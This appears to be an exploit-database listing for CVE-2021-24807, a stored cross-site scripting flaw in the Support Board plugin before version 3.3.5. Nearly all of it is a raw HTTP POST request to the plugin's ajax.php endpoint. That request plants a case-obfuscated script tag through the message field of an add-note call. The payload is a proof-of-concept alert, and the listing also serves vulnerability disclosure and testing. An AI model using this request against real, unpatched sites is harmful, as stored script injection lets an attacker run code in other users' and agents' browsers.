Exploit for Support Board < 3.3.5 - Agent+ Stored Cross-Site Scripting CVE-2021-24807

Name: Exploit for Support Board < 3.3.5 - Agent+ Stored Cross-Site Scripting CVE-2021-24807
Rating: 5 (89 reviews)

2021-10-07 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:19D101AA-4B60-4DB4-A33B-86C826B288B0
POST /supportboard/include/ajax.php HTTP/1.1
Cookie: [Agent+]
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 808
X-Requested-With: XMLHttpRequest
Connection: close

function=add-note&conversation_id=476&user_id=2&name=Robert+Smith&message=%3CScRiPt%3Ealert(/XSS/)%3C%2FsCriPt%3E&login-cookie=<cookie>&language=false